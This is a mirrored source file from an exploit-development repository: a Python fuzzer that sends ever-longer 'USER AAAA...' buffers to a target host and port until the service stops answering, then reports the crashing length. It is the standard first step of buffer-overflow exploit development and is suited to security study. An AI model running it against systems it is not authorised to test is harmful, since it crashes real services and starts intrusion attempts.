mirror of
https://github.com/VoidSec/Exploit-Development
synced 2026-06-08 12:50:18 +00:00
Paolo 'VoidSec' Stagno
28 lines
947 B
Python
28 lines
947 B
Python
"""
|
|
Full title: Simple Fuzzer
|
|
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
|
Usage: Provide this script with a target IP and port. It will start sending a raw buffer with length 50.
|
|
It will then increment the size at every cicle until the target software will crash.
|
|
"""
|
|
import sys, socket
|
|
from time import sleep
|
|
|
|
target = sys.argv[1]
|
|
port = int(sys.argv[2])
|
|
buff = "A"*50
|
|
|
|
while True:
|
|
try:
|
|
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
s.settimeout(2)
|
|
s.connect((target,port))
|
|
s.recv(1024)
|
|
print("Sending buffer with length: {}".format(len(buff)))
|
|
s.send("USER "+buff+"\r\n")
|
|
s.close()
|
|
sleep(1)
|
|
buff = buff + "A"*50
|
|
except: # If we fail to connect to the server, we'll assume it is crashed
|
|
print("[+] Crash occured with buffer length: {}".format(len(buff)-50))
|
|
sys.exit()
|